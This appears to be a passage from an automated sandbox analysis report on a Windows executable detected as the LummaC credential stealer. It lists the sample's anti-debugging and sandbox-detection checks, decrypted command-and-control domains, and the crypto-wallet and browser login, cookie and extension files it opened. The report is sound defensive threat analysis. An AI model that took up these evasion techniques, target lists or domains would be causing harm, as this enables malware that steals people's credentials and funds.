Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001044000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001045000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW+
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: pVbAZEFIpI.exe, 00000000.00000002.1867685541.0000000001054000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: pVbAZEFIpI.exe, 00000000.00000002.1865710038.0000000000625000.00000040.00000001.01000000.00000003.sdmp, pVbAZEFIpI.exe, 00000000.00000002.1879202415.0000000006262000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: pVbAZEFIpI.exe, 00000000.00000002.1867685541.0000000001044000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1795341311.0000000001045000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1795207227.0000000001044000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWB
Source: pVbAZEFIpI.exe	Binary or memory string: \\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: NTICE
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: SICE
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: pVbAZEFIpI.exe, 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bashfulacid.lat
Source: pVbAZEFIpI.exe, 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tentabatte.lat
Source: pVbAZEFIpI.exe, 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: curverpluch.lat
Source: pVbAZEFIpI.exe, 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: talkynicer.lat
Source: pVbAZEFIpI.exe, 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: shapestickyr.lat
Source: pVbAZEFIpI.exe, 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: manyrestro.lat
Source: pVbAZEFIpI.exe, 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: slipperyloo.lat
Source: pVbAZEFIpI.exe, 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: wordyfindy.lat
Source: pVbAZEFIpI.exe, 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: observerfry.lat

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=pVbAZEFIpI.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=pVbAZEFIpI.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: pVbAZEFIpI.exe, 00000000.00000002.1866536057.0000000000667000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Program Manager
Source: pVbAZEFIpI.exe, 00000000.00000002.1879202415.0000000006262000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: (aProgram Manager

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: pVbAZEFIpI.exe, pVbAZEFIpI.exe, 00000000.00000003.1642541154.0000000001053000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: pVbAZEFIpI.exe PID: 7548, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: pVbAZEFIpI.exe	String found in binary or memory: Wallets/Electrum
Source: pVbAZEFIpI.exe	String found in binary or memory: Wallets/ElectronCash
Source: pVbAZEFIpI.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: pVbAZEFIpI.exe	String found in binary or memory: window-state.json
Source: pVbAZEFIpI.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: pVbAZEFIpI.exe	String found in binary or memory: Wallets/Exodus
Source: pVbAZEFIpI.exe	String found in binary or memory: Wallets/Ethereum
Source: pVbAZEFIpI.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: pVbAZEFIpI.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
